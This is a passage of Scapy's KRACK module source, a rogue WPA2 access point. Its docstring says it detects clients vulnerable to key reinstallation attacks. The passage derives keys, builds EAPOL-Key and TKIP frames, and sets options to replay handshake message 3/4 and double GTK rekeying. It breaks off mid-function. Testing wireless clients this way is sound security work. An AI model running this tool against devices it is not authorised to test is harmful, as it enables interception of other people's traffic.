xref: /aosp_15_r20/external/scapy/scapy/modules/krack/automaton.py (revision 7dc08ffc4802948ccbc861daaf1e81c405c2c4bd)
1*7dc08ffcSJunyu Laiimport hmac
2*7dc08ffcSJunyu Laiimport hashlib
3*7dc08ffcSJunyu Laifrom itertools import count
4*7dc08ffcSJunyu Laiimport struct
5*7dc08ffcSJunyu Laiimport time
6*7dc08ffcSJunyu Lai
7*7dc08ffcSJunyu Laifrom cryptography.hazmat.primitives import hashes
8*7dc08ffcSJunyu Laifrom cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
9*7dc08ffcSJunyu Laifrom cryptography.hazmat.backends import default_backend
10*7dc08ffcSJunyu Lai
11*7dc08ffcSJunyu Laifrom scapy.automaton import ATMT, Automaton
12*7dc08ffcSJunyu Laifrom scapy.base_classes import Net
13*7dc08ffcSJunyu Laifrom scapy.config import conf
14*7dc08ffcSJunyu Laifrom scapy.compat import raw, hex_bytes, chb
15*7dc08ffcSJunyu Laifrom scapy.error import log_runtime
16*7dc08ffcSJunyu Laifrom scapy.layers.dot11 import RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp, \
17*7dc08ffcSJunyu Lai    Dot11Auth, Dot11Beacon, Dot11Elt, Dot11ProbeReq, Dot11ProbeResp
18*7dc08ffcSJunyu Laifrom scapy.layers.eap import EAPOL
19*7dc08ffcSJunyu Laifrom scapy.layers.l2 import ARP, LLC, SNAP, Ether
20*7dc08ffcSJunyu Laifrom scapy.layers.dhcp import DHCP_am
21*7dc08ffcSJunyu Laifrom scapy.packet import Raw
22*7dc08ffcSJunyu Laifrom scapy.utils import hexdump
23*7dc08ffcSJunyu Laifrom scapy.volatile import RandBin
24*7dc08ffcSJunyu Lai
25*7dc08ffcSJunyu Lai
26*7dc08ffcSJunyu Laifrom scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \
27*7dc08ffcSJunyu Lai    build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \
28*7dc08ffcSJunyu Lai    customPRF512, ARC4_encrypt
29*7dc08ffcSJunyu Lai
30*7dc08ffcSJunyu Lai
31*7dc08ffcSJunyu Laiclass DHCPOverWPA(DHCP_am):
32*7dc08ffcSJunyu Lai    """Wrapper over DHCP_am to send and recv inside a WPA channel"""
33*7dc08ffcSJunyu Lai
34*7dc08ffcSJunyu Lai    def __init__(self, send_func, *args, **kwargs):
35*7dc08ffcSJunyu Lai        super(DHCPOverWPA, self).__init__(*args, **kwargs)
36*7dc08ffcSJunyu Lai        self.send_function = send_func
37*7dc08ffcSJunyu Lai
38*7dc08ffcSJunyu Lai    def sniff(self, *args, **kwargs):
39*7dc08ffcSJunyu Lai        # Do not sniff, use a direct call to 'replay(pkt)' instead
40*7dc08ffcSJunyu Lai        return
41*7dc08ffcSJunyu Lai
42*7dc08ffcSJunyu Lai
43*7dc08ffcSJunyu Laiclass KrackAP(Automaton):
44*7dc08ffcSJunyu Lai    """Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in:
45*7dc08ffcSJunyu Lai    "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2"
46*7dc08ffcSJunyu Lai
47*7dc08ffcSJunyu Lai    Example of use:
48*7dc08ffcSJunyu Lai    KrackAP(
49*7dc08ffcSJunyu Lai        iface="mon0",               # A monitor interface
50*7dc08ffcSJunyu Lai        ap_mac='11:22:33:44:55:66', # MAC to use
51*7dc08ffcSJunyu Lai        ssid="TEST_KRACK",          # SSID
52*7dc08ffcSJunyu Lai        passphrase="testtest",      # Associated passphrase
53*7dc08ffcSJunyu Lai    ).run()
54*7dc08ffcSJunyu Lai
55*7dc08ffcSJunyu Lai    Then, on the target device, connect to "TEST_KRACK" using "testtest" as the
56*7dc08ffcSJunyu Lai    passphrase.
57*7dc08ffcSJunyu Lai    The output logs will indicate if one of the CVE have been triggered.
58*7dc08ffcSJunyu Lai    """
59*7dc08ffcSJunyu Lai
60*7dc08ffcSJunyu Lai    # Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not
61*7dc08ffcSJunyu Lai    # be detected the first time. Several attempt implies the client has been
62*7dc08ffcSJunyu Lai    # likely patched
63*7dc08ffcSJunyu Lai    ARP_MAX_RETRY = 50
64*7dc08ffcSJunyu Lai
65*7dc08ffcSJunyu Lai    def __init__(self, *args, **kargs):
66*7dc08ffcSJunyu Lai        kargs.setdefault("ll", conf.L2socket)
67*7dc08ffcSJunyu Lai        super(KrackAP, self).__init__(*args, **kargs)
68*7dc08ffcSJunyu Lai
69*7dc08ffcSJunyu Lai    def parse_args(self, ap_mac, ssid, passphrase,
70*7dc08ffcSJunyu Lai                   # KRACK attack options
71*7dc08ffcSJunyu Lai                   double_3handshake=True,
72*7dc08ffcSJunyu Lai                   encrypt_3handshake=True,
73*7dc08ffcSJunyu Lai                   wait_3handshake=0,
74*7dc08ffcSJunyu Lai                   double_gtk_refresh=True,
75*7dc08ffcSJunyu Lai                   arp_target_ip=None,
76*7dc08ffcSJunyu Lai                   arp_source_ip=None,
77*7dc08ffcSJunyu Lai                   wait_gtk=10,
78*7dc08ffcSJunyu Lai                   **kwargs):
79*7dc08ffcSJunyu Lai        """
80*7dc08ffcSJunyu Lai        Mandatory arguments:
81*7dc08ffcSJunyu Lai        @iface: interface to use (must be in monitor mode)
82*7dc08ffcSJunyu Lai        @ap_mac: AP's MAC
83*7dc08ffcSJunyu Lai        @ssid: AP's SSID
84*7dc08ffcSJunyu Lai        @passphrase: AP's Passphrase (min 8 char.)
85*7dc08ffcSJunyu Lai
86*7dc08ffcSJunyu Lai        Krack attacks options:
87*7dc08ffcSJunyu Lai
88*7dc08ffcSJunyu Lai         - Msg 3/4 handshake replay:
89*7dc08ffcSJunyu Lai        double_3handshake: double the 3/4 handshake message
90*7dc08ffcSJunyu Lai        encrypt_3handshake: encrypt the second 3/4 handshake message
91*7dc08ffcSJunyu Lai        wait_3handshake: time to wait (in sec.) before sending the second 3/4
92*7dc08ffcSJunyu Lai         - double GTK rekeying:
93*7dc08ffcSJunyu Lai        double_gtk_refresh: double the 1/2 GTK rekeying message
94*7dc08ffcSJunyu Lai        wait_gtk: time to wait (in sec.) before sending the GTK rekeying
95*7dc08ffcSJunyu Lai        arp_target_ip: Client IP to use in ARP req. (to detect attack success)
96*7dc08ffcSJunyu Lai                       If None, use a DHCP server
97*7dc08ffcSJunyu Lai        arp_source_ip: Server IP to use in ARP req. (to detect attack success)
98*7dc08ffcSJunyu Lai                       If None, use the DHCP server gateway address
99*7dc08ffcSJunyu Lai        """
100*7dc08ffcSJunyu Lai        super(KrackAP, self).parse_args(**kwargs)
101*7dc08ffcSJunyu Lai
102*7dc08ffcSJunyu Lai        # Main AP options
103*7dc08ffcSJunyu Lai        self.mac = ap_mac
104*7dc08ffcSJunyu Lai        self.ssid = ssid
105*7dc08ffcSJunyu Lai        self.passphrase = passphrase
106*7dc08ffcSJunyu Lai
107*7dc08ffcSJunyu Lai        # Internal structures
108*7dc08ffcSJunyu Lai        self.last_iv = None
109*7dc08ffcSJunyu Lai        self.client = None
110*7dc08ffcSJunyu Lai        self.seq_num = count()
111*7dc08ffcSJunyu Lai        self.replay_counter = count()
112*7dc08ffcSJunyu Lai        self.time_handshake_end = None
113*7dc08ffcSJunyu Lai        self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa,
114*7dc08ffcSJunyu Lai                                       pool=Net("192.168.42.128/25"),
115*7dc08ffcSJunyu Lai                                       network="192.168.42.0/24",
116*7dc08ffcSJunyu Lai                                       gw="192.168.42.1")
117*7dc08ffcSJunyu Lai        self.arp_sent = []
118*7dc08ffcSJunyu Lai        self.arp_to_send = 0
119*7dc08ffcSJunyu Lai        self.arp_retry = 0
120*7dc08ffcSJunyu Lai
121*7dc08ffcSJunyu Lai        # Bit 0: 3way handshake sent
122*7dc08ffcSJunyu Lai        # Bit 1: GTK rekeying sent
123*7dc08ffcSJunyu Lai        # Bit 2: ARP response obtained
124*7dc08ffcSJunyu Lai        self.krack_state = 0
125*7dc08ffcSJunyu Lai
126*7dc08ffcSJunyu Lai        # Krack options
127*7dc08ffcSJunyu Lai        self.double_3handshake = double_3handshake
128*7dc08ffcSJunyu Lai        self.encrypt_3handshake = encrypt_3handshake
129*7dc08ffcSJunyu Lai        self.wait_3handshake = wait_3handshake
130*7dc08ffcSJunyu Lai        self.double_gtk_refresh = double_gtk_refresh
131*7dc08ffcSJunyu Lai        self.arp_target_ip = arp_target_ip
132*7dc08ffcSJunyu Lai        if arp_source_ip is None:
133*7dc08ffcSJunyu Lai            # Use the DHCP server Gateway address
134*7dc08ffcSJunyu Lai            arp_source_ip = self.dhcp_server.gw
135*7dc08ffcSJunyu Lai        self.arp_source_ip = arp_source_ip
136*7dc08ffcSJunyu Lai        self.wait_gtk = wait_gtk
137*7dc08ffcSJunyu Lai
138*7dc08ffcSJunyu Lai        # May take several seconds
139*7dc08ffcSJunyu Lai        self.install_PMK()
140*7dc08ffcSJunyu Lai
141*7dc08ffcSJunyu Lai    def run(self, *args, **kwargs):
142*7dc08ffcSJunyu Lai        log_runtime.warning("AP started with ESSID: %s, BSSID: %s",
143*7dc08ffcSJunyu Lai                         self.ssid, self.mac)
144*7dc08ffcSJunyu Lai        super(KrackAP, self).run(*args, **kwargs)
145*7dc08ffcSJunyu Lai
146*7dc08ffcSJunyu Lai    # Key utils
147*7dc08ffcSJunyu Lai
148*7dc08ffcSJunyu Lai    @staticmethod
149*7dc08ffcSJunyu Lai    def gen_nonce(size):
150*7dc08ffcSJunyu Lai        """Return a nonce of @size element of random bytes as a string"""
151*7dc08ffcSJunyu Lai        return raw(RandBin(size))
152*7dc08ffcSJunyu Lai
153*7dc08ffcSJunyu Lai    def install_PMK(self):
154*7dc08ffcSJunyu Lai        """Compute and install the PMK"""
155*7dc08ffcSJunyu Lai        self.pmk = PBKDF2HMAC(
156*7dc08ffcSJunyu Lai            algorithm=hashes.SHA1(),
157*7dc08ffcSJunyu Lai            length=32,
158*7dc08ffcSJunyu Lai            salt=self.ssid,
159*7dc08ffcSJunyu Lai            iterations=4096,
160*7dc08ffcSJunyu Lai            backend=default_backend(),
161*7dc08ffcSJunyu Lai        ).derive(self.passphrase)
162*7dc08ffcSJunyu Lai
163*7dc08ffcSJunyu Lai    def install_unicast_keys(self, client_nonce):
164*7dc08ffcSJunyu Lai        """Use the client nonce @client_nonce to compute and install
165*7dc08ffcSJunyu Lai        PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP)
166*7dc08ffcSJunyu Lai        """
167*7dc08ffcSJunyu Lai        pmk = self.pmk
168*7dc08ffcSJunyu Lai        anonce = self.anonce
169*7dc08ffcSJunyu Lai        snonce = client_nonce
170*7dc08ffcSJunyu Lai        amac = hex_bytes(self.mac.replace(":", ""))
171*7dc08ffcSJunyu Lai        smac = hex_bytes(self.client.replace(":", ""))
172*7dc08ffcSJunyu Lai
173*7dc08ffcSJunyu Lai        # Compute PTK
174*7dc08ffcSJunyu Lai        self.ptk = customPRF512(pmk, amac, smac, anonce, snonce)
175*7dc08ffcSJunyu Lai
176*7dc08ffcSJunyu Lai        # Extract derivated keys
177*7dc08ffcSJunyu Lai        self.kck = self.ptk[:16]
178*7dc08ffcSJunyu Lai        self.kek = self.ptk[16:32]
179*7dc08ffcSJunyu Lai        self.tk = self.ptk[32:48]
180*7dc08ffcSJunyu Lai        self.mic_ap_to_sta = self.ptk[48:56]
181*7dc08ffcSJunyu Lai        self.mic_sta_to_ap = self.ptk[56:64]
182*7dc08ffcSJunyu Lai
183*7dc08ffcSJunyu Lai        # Reset IV
184*7dc08ffcSJunyu Lai        self.client_iv = count()
185*7dc08ffcSJunyu Lai
186*7dc08ffcSJunyu Lai    def install_GTK(self):
187*7dc08ffcSJunyu Lai        """Compute a new GTK and install it alongs
188*7dc08ffcSJunyu Lai        MIC (AP -> Group = broadcast + multicast)
189*7dc08ffcSJunyu Lai        """
190*7dc08ffcSJunyu Lai
191*7dc08ffcSJunyu Lai        # Compute GTK
192*7dc08ffcSJunyu Lai        self.gtk_full = self.gen_nonce(32)
193*7dc08ffcSJunyu Lai        self.gtk = self.gtk_full[:16]
194*7dc08ffcSJunyu Lai
195*7dc08ffcSJunyu Lai        # Extract derivated keys
196*7dc08ffcSJunyu Lai        self.mic_ap_to_group = self.gtk_full[16:24]
197*7dc08ffcSJunyu Lai
198*7dc08ffcSJunyu Lai        # Reset IV
199*7dc08ffcSJunyu Lai        self.group_iv = count()
200*7dc08ffcSJunyu Lai
201*7dc08ffcSJunyu Lai    # Packet utils
202*7dc08ffcSJunyu Lai
203*7dc08ffcSJunyu Lai    def build_ap_info_pkt(self, layer_cls, dest):
204*7dc08ffcSJunyu Lai        """Build a packet with info describing the current AP
205*7dc08ffcSJunyu Lai        For beacon / proberesp use
206*7dc08ffcSJunyu Lai        Assume the AP is on channel 6
207*7dc08ffcSJunyu Lai        """
208*7dc08ffcSJunyu Lai        return RadioTap() \
209*7dc08ffcSJunyu Lai              / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \
210*7dc08ffcSJunyu Lai              / layer_cls(timestamp=0, beacon_interval=100,
211*7dc08ffcSJunyu Lai                          cap='ESS+privacy') \
212*7dc08ffcSJunyu Lai              / Dot11Elt(ID="SSID", info=self.ssid) \
213*7dc08ffcSJunyu Lai              / Dot11Elt(ID="Rates", info=b'\x82\x84\x8b\x96\x0c\x12\x18$') \
214*7dc08ffcSJunyu Lai              / Dot11Elt(ID="DSset", info=b"\x06") \
215*7dc08ffcSJunyu Lai              / Dot11Elt(
216*7dc08ffcSJunyu Lai                  ID="RSNinfo",
217*7dc08ffcSJunyu Lai                  info=b'\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x02'\
218*7dc08ffcSJunyu Lai                  b'\x01\x00\x00\x0f\xac\x02\x00\x00'
219*7dc08ffcSJunyu Lai              )
220*7dc08ffcSJunyu Lai
221*7dc08ffcSJunyu Lai    @staticmethod
222*7dc08ffcSJunyu Lai    def build_EAPOL_Key_8021X2004(
223*7dc08ffcSJunyu Lai            key_information,
224*7dc08ffcSJunyu Lai            replay_counter,
225*7dc08ffcSJunyu Lai            nonce,
226*7dc08ffcSJunyu Lai            data=None,
227*7dc08ffcSJunyu Lai            key_mic=None,
228*7dc08ffcSJunyu Lai            key_data_encrypt=None,
229*7dc08ffcSJunyu Lai            key_rsc=0,
230*7dc08ffcSJunyu Lai            key_id=0,
231*7dc08ffcSJunyu Lai            key_descriptor_type=2, # EAPOL RSN Key
232*7dc08ffcSJunyu Lai    ):
233*7dc08ffcSJunyu Lai        pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key")
234*7dc08ffcSJunyu Lai
235*7dc08ffcSJunyu Lai        key_iv = KrackAP.gen_nonce(16)
236*7dc08ffcSJunyu Lai
237*7dc08ffcSJunyu Lai        assert key_rsc == 0 # Other values unsupported
238*7dc08ffcSJunyu Lai        assert key_id == 0 # Other values unsupported
239*7dc08ffcSJunyu Lai        payload = b"".join([
240*7dc08ffcSJunyu Lai            chb(key_descriptor_type),
241*7dc08ffcSJunyu Lai            struct.pack(">H", key_information),
242*7dc08ffcSJunyu Lai            b'\x00\x20',  # Key length
243*7dc08ffcSJunyu Lai            struct.pack(">Q", replay_counter),
244*7dc08ffcSJunyu Lai            nonce,
245*7dc08ffcSJunyu Lai            key_iv,
246*7dc08ffcSJunyu Lai            struct.pack(">Q", key_rsc),
247*7dc08ffcSJunyu Lai            struct.pack(">Q", key_id),
248*7dc08ffcSJunyu Lai        ])
249*7dc08ffcSJunyu Lai
250*7dc08ffcSJunyu Lai        # MIC field is set to 0's during MIC computation
251*7dc08ffcSJunyu Lai        offset_MIC = len(payload)
252*7dc08ffcSJunyu Lai        payload += b'\x00' * 0x10
253*7dc08ffcSJunyu Lai
254*7dc08ffcSJunyu Lai        if data is None and key_mic is None and key_data_encrypt is None:
255*7dc08ffcSJunyu Lai            # If key is unknown and there is no data, no MIC is needed
256*7dc08ffcSJunyu Lai            # Exemple: handshake 1/4
257*7dc08ffcSJunyu Lai            payload += b'\x00' * 2 # Length
258*7dc08ffcSJunyu Lai            return pkt / Raw(load=payload)
259*7dc08ffcSJunyu Lai
260*7dc08ffcSJunyu Lai        assert data is not None
261*7dc08ffcSJunyu Lai        assert key_mic is not None
262*7dc08ffcSJunyu Lai        assert key_data_encrypt is not None
263*7dc08ffcSJunyu Lai
264*7dc08ffcSJunyu Lai        # Skip 256 first bytes
265*7dc08ffcSJunyu Lai        # REF: 802.11i 8.5.2
266*7dc08ffcSJunyu Lai        # Key Descriptor Version 1:
267*7dc08ffcSJunyu Lai        # ...
268*7dc08ffcSJunyu Lai        # No padding shall be used. The encryption key is generated by
269*7dc08ffcSJunyu Lai        # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets
270*7dc08ffcSJunyu Lai        # of the RC4 key stream shall be discarded following RC4 stream cipher
271*7dc08ffcSJunyu Lai        # initialization with the KEK, and encryption begins using the 257th key
272*7dc08ffcSJunyu Lai        # stream octet.
273*7dc08ffcSJunyu Lai        enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256)
274*7dc08ffcSJunyu Lai
275*7dc08ffcSJunyu Lai        payload += struct.pack(">H", len(data))
276*7dc08ffcSJunyu Lai        payload += enc_data
277*7dc08ffcSJunyu Lai
278*7dc08ffcSJunyu Lai        # Compute MIC and set at the right place
279*7dc08ffcSJunyu Lai        temp_mic = pkt.copy()
280*7dc08ffcSJunyu Lai        temp_mic /= Raw(load=payload)
281*7dc08ffcSJunyu Lai        to_mic = raw(temp_mic[EAPOL])
282*7dc08ffcSJunyu Lai        mic = hmac.new(key_mic, to_mic, hashlib.md5).digest()
283*7dc08ffcSJunyu Lai        final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):]
284*7dc08ffcSJunyu Lai        assert len(final_payload) == len(payload)
285*7dc08ffcSJunyu Lai
286*7dc08ffcSJunyu Lai        return pkt / Raw(load=final_payload)
287*7dc08ffcSJunyu Lai
288*7dc08ffcSJunyu Lai    def build_GTK_KDE(self):
289*7dc08ffcSJunyu Lai        """Build the Key Data Encapsulation for GTK
290*7dc08ffcSJunyu Lai        KeyID: 0
291*7dc08ffcSJunyu Lai        Ref: 802.11i p81
292*7dc08ffcSJunyu Lai        """
293*7dc08ffcSJunyu Lai        return b''.join([
294*7dc08ffcSJunyu Lai            b'\xdd', # Type KDE
295*7dc08ffcSJunyu Lai            chb(len(self.gtk_full) + 6),
296*7dc08ffcSJunyu Lai            b'\x00\x0f\xac', # OUI
297*7dc08ffcSJunyu Lai            b'\x01', # GTK KDE
298*7dc08ffcSJunyu Lai            b'\x00\x00', # KeyID - Tx - Reserved x2
299*7dc08ffcSJunyu Lai            self.gtk_full,
300*7dc08ffcSJunyu Lai        ])
301*7dc08ffcSJunyu Lai
302*7dc08ffcSJunyu Lai    def send_wpa_enc(self, data, iv, seqnum, dest, mic_key,
303*7dc08ffcSJunyu Lai                     key_idx=0, additionnal_flag=["from-DS"],
304*7dc08ffcSJunyu Lai                     encrypt_key=None):
305*7dc08ffcSJunyu Lai        """Send an encrypted packet with content @data, using IV @iv,
306*7dc08ffcSJunyu Lai        sequence number @seqnum, MIC key @mic_key
307*7dc08ffcSJunyu Lai        """
308*7dc08ffcSJunyu Lai
309*7dc08ffcSJunyu Lai        if encrypt_key is None:
310*7dc08ffcSJunyu Lai            encrypt_key = self.tk
311*7dc08ffcSJunyu Lai
312*7dc08ffcSJunyu Lai        rep = RadioTap()
313*7dc08ffcSJunyu Lai        rep /= Dot11(
314*7dc08ffcSJunyu Lai            addr1=dest,
315*7dc08ffcSJunyu Lai            addr2=self.mac,
316*7dc08ffcSJunyu Lai            addr3=self.mac,
317*7dc08ffcSJunyu Lai            FCfield="+".join(['wep'] + additionnal_flag),
318*7dc08ffcSJunyu Lai            SC=(next(self.seq_num) << 4),
319*7dc08ffcSJunyu Lai            subtype=0,
320*7dc08ffcSJunyu Lai            type="Data",
321*7dc08ffcSJunyu Lai        )
322*7dc08ffcSJunyu Lai
323*7dc08ffcSJunyu Lai        # Assume packet is send by our AP -> use self.mac as source
324*7dc08ffcSJunyu Lai
325*7dc08ffcSJunyu Lai        # Encapsule in TKIP with MIC Michael and ICV
326*7dc08ffcSJunyu Lai        data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest)
327*7dc08ffcSJunyu Lai
328*7dc08ffcSJunyu Lai        # Header TKIP + payload
329*7dc08ffcSJunyu Lai        rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key))
330*7dc08ffcSJunyu Lai
331*7dc08ffcSJunyu Lai        self.send(rep)
332*7dc08ffcSJunyu Lai        return rep
333*7dc08ffcSJunyu Lai
334*7dc08ffcSJunyu Lai    def send_wpa_to_client(self, data, **kwargs):
335*7dc08ffcSJunyu Lai        kwargs.setdefault("encrypt_key", self.tk)
336*7dc08ffcSJunyu Lai        return self.send_wpa_enc(data, next(self.client_iv),
337*7dc08ffcSJunyu Lai                                 next(self.seq_num), self.client,
338*7dc08ffcSJunyu Lai                                 self.mic_ap_to_sta, **kwargs)
339*7dc08ffcSJunyu Lai
340*7dc08ffcSJunyu Lai    def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs):
341*7dc08ffcSJunyu Lai        kwargs.setdefault("encrypt_key", self.gtk)
342*7dc08ffcSJunyu Lai        return self.send_wpa_enc(data, next(self.group_iv),
343*7dc08ffcSJunyu Lai                                 next(self.seq_num), dest,
344*7dc08ffcSJunyu Lai                                 self.mic_ap_to_group, **kwargs)
345*7dc08ffcSJunyu Lai
346*7dc08ffcSJunyu Lai    def send_ether_over_wpa(self, pkt, **kwargs):
347*7dc08ffcSJunyu Lai        """Send an Ethernet packet using the WPA channel
348*7dc08ffcSJunyu Lai        Extra arguments will be ignored, and are just left for compatibiliy
349*7dc08ffcSJunyu Lai        """
350*7dc08ffcSJunyu Lai
351*7dc08ffcSJunyu Lai        payload = LLC()/SNAP()/pkt[Ether].payload
352*7dc08ffcSJunyu Lai        dest = pkt.dst
353*7dc08ffcSJunyu Lai        if dest == "ff:ff:ff:ff:ff:ff":
354*7dc08ffcSJunyu Lai            self.send_wpa_to_group(payload, dest)
355*7dc08ffcSJunyu Lai        else:
356*7dc08ffcSJunyu Lai            assert dest == self.client
357*7dc08ffcSJunyu Lai            self.send_wpa_to_client(payload)
358*7dc08ffcSJunyu Lai
359*7dc08ffcSJunyu Lai    def deal_common_pkt(self, pkt):
360*7dc08ffcSJunyu Lai        # Send to DHCP server
361*7dc08ffcSJunyu Lai        # LLC / SNAP to Ether
362*7dc08ffcSJunyu Lai        if SNAP in pkt:
363*7dc08ffcSJunyu Lai            ether_pkt = Ether(src=self.client,dst=self.mac) / pkt[SNAP].payload
364*7dc08ffcSJunyu Lai            self.dhcp_server.reply(ether_pkt)
365*7dc08ffcSJunyu Lai
366*7dc08ffcSJunyu Lai        # If an ARP request is made, extract client IP and answer
367*7dc08ffcSJunyu Lai        if ARP in pkt and \
368*7dc08ffcSJunyu Lai           pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw:
369*7dc08ffcSJunyu Lai            if self.arp_target_ip is None:
370*7dc08ffcSJunyu Lai                self.arp_target_ip = pkt[ARP].psrc
371*7dc08ffcSJunyu Lai                log_runtime.info("Detected IP: %s", self.arp_target_ip)
372*7dc08ffcSJunyu Lai
373*7dc08ffcSJunyu Lai            # Reply
374*7dc08ffcSJunyu Lai            ARP_ans = LLC()/SNAP()/ARP(
375*7dc08ffcSJunyu Lai                op="is-at",
376*7dc08ffcSJunyu Lai                psrc=self.arp_source_ip,
377*7dc08ffcSJunyu Lai                pdst=self.arp_target_ip,
378*7dc08ffcSJunyu Lai                hwsrc=self.mac,
379*7dc08ffcSJunyu Lai                hwdst=self.client,
380*7dc08ffcSJunyu Lai            )
381*7dc08ffcSJunyu Lai            self.send_wpa_to_client(ARP_ans)
382*7dc08ffcSJunyu Lai
383*7dc08ffcSJunyu Lai    # States
384*7dc08ffcSJunyu Lai
385*7dc08ffcSJunyu Lai    @ATMT.state(initial=True)
386*7dc08ffcSJunyu Lai    def WAIT_AUTH_REQUEST(self):
387*7dc08ffcSJunyu Lai        log_runtime.debug("State WAIT_AUTH_REQUEST")
388*7dc08ffcSJunyu Lai
389*7dc08ffcSJunyu Lai    @ATMT.state()
390*7dc08ffcSJunyu Lai    def AUTH_RESPONSE_SENT(self):
391*7dc08ffcSJunyu Lai        log_runtime.debug("State AUTH_RESPONSE_SENT")
392*7dc08ffcSJunyu Lai
393*7dc08ffcSJunyu Lai    @ATMT.state()
394*7dc08ffcSJunyu Lai    def ASSOC_RESPONSE_SENT(self):
395*7dc08ffcSJunyu Lai        log_runtime.debug("State ASSOC_RESPONSE_SENT")
396*7dc08ffcSJunyu Lai
397*7dc08ffcSJunyu Lai    @ATMT.state()
398*7dc08ffcSJunyu Lai    def WPA_HANDSHAKE_STEP_1_SENT(self):
399*7dc08ffcSJunyu Lai        log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT")
400*7dc08ffcSJunyu Lai
401*7dc08ffcSJunyu Lai    @ATMT.state()
402*7dc08ffcSJunyu Lai    def WPA_HANDSHAKE_STEP_3_SENT(self):
403*7dc08ffcSJunyu Lai        log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT")
404*7dc08ffcSJunyu Lai
405*7dc08ffcSJunyu Lai    @ATMT.state()
406*7dc08ffcSJunyu Lai    def KRACK_DISPATCHER(self):
407*7dc08ffcSJunyu Lai        log_runtime.debug("State KRACK_DISPATCHER")
408*7dc08ffcSJunyu Lai
409*7dc08ffcSJunyu Lai    @ATMT.state()
410*7dc08ffcSJunyu Lai    def ANALYZE_DATA(self):
411*7dc08ffcSJunyu Lai        log_runtime.debug("State ANALYZE_DATA")
412*7dc08ffcSJunyu Lai
413*7dc08ffcSJunyu Lai    @ATMT.timeout(ANALYZE_DATA, 1)
414*7dc08ffcSJunyu Lai    def timeout_analyze_data(self):
415*7dc08ffcSJunyu Lai        raise self.KRACK_DISPATCHER()
416*7dc08ffcSJunyu Lai
417*7dc08ffcSJunyu Lai    @ATMT.state()
418*7dc08ffcSJunyu Lai    def RENEW_GTK(self):
419*7dc08ffcSJunyu Lai        log_runtime.debug("State RENEW_GTK")
420*7dc08ffcSJunyu Lai
421*7dc08ffcSJunyu Lai    @ATMT.state()
422*7dc08ffcSJunyu Lai    def WAIT_GTK_ACCEPT(self):
423*7dc08ffcSJunyu Lai        log_runtime.debug("State WAIT_GTK_ACCEPT")
424*7dc08ffcSJunyu Lai
425*7dc08ffcSJunyu Lai    @ATMT.state()
426*7dc08ffcSJunyu Lai    def WAIT_ARP_REPLIES(self):
427*7dc08ffcSJunyu Lai        log_runtime.debug("State WAIT_ARP_REPLIES")
428*7dc08ffcSJunyu Lai
429*7dc08ffcSJunyu Lai    @ATMT.state(final=1)
430*7dc08ffcSJunyu Lai    def EXIT(self):
431*7dc08ffcSJunyu Lai        log_runtime.debug("State EXIT")
432*7dc08ffcSJunyu Lai
433*7dc08ffcSJunyu Lai    @ATMT.timeout(WAIT_GTK_ACCEPT, 1)
434*7dc08ffcSJunyu Lai    def timeout_wait_gtk_accept(self):
435*7dc08ffcSJunyu Lai        raise self.RENEW_GTK()
436*7dc08ffcSJunyu Lai
437*7dc08ffcSJunyu Lai    @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1)
438*7dc08ffcSJunyu Lai    def timeout_waiting(self):
439*7dc08ffcSJunyu Lai        raise self.WAIT_AUTH_REQUEST()
440*7dc08ffcSJunyu Lai
441*7dc08ffcSJunyu Lai    @ATMT.action(timeout_waiting)
442*7dc08ffcSJunyu Lai    def send_beacon(self):
443*7dc08ffcSJunyu Lai        log_runtime.debug("Send a beacon")
444*7dc08ffcSJunyu Lai        rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff")
445*7dc08ffcSJunyu Lai        self.send(rep)
446*7dc08ffcSJunyu Lai
447*7dc08ffcSJunyu Lai    @ATMT.receive_condition(WAIT_AUTH_REQUEST)
448*7dc08ffcSJunyu Lai    def probe_request_received(self, pkt):
449*7dc08ffcSJunyu Lai        # Avoid packet from other interfaces
450*7dc08ffcSJunyu Lai        if not RadioTap in pkt:
451*7dc08ffcSJunyu Lai            return
452*7dc08ffcSJunyu Lai        if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
453*7dc08ffcSJunyu Lai            raise self.WAIT_AUTH_REQUEST().action_parameters(pkt)
454*7dc08ffcSJunyu Lai
455*7dc08ffcSJunyu Lai    @ATMT.action(probe_request_received)
456*7dc08ffcSJunyu Lai    def send_probe_response(self, pkt):
457*7dc08ffcSJunyu Lai        rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2)
458*7dc08ffcSJunyu Lai        self.send(rep)
459*7dc08ffcSJunyu Lai
460*7dc08ffcSJunyu Lai    @ATMT.receive_condition(WAIT_AUTH_REQUEST)
461*7dc08ffcSJunyu Lai    def authent_received(self, pkt):
462*7dc08ffcSJunyu Lai        # Avoid packet from other interfaces
463*7dc08ffcSJunyu Lai        if not RadioTap in pkt:
464*7dc08ffcSJunyu Lai            return
465*7dc08ffcSJunyu Lai        if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac:
466*7dc08ffcSJunyu Lai            raise self.AUTH_RESPONSE_SENT().action_parameters(pkt)
467*7dc08ffcSJunyu Lai
468*7dc08ffcSJunyu Lai    @ATMT.action(authent_received)
469*7dc08ffcSJunyu Lai    def send_auth_response(self, pkt):
470*7dc08ffcSJunyu Lai
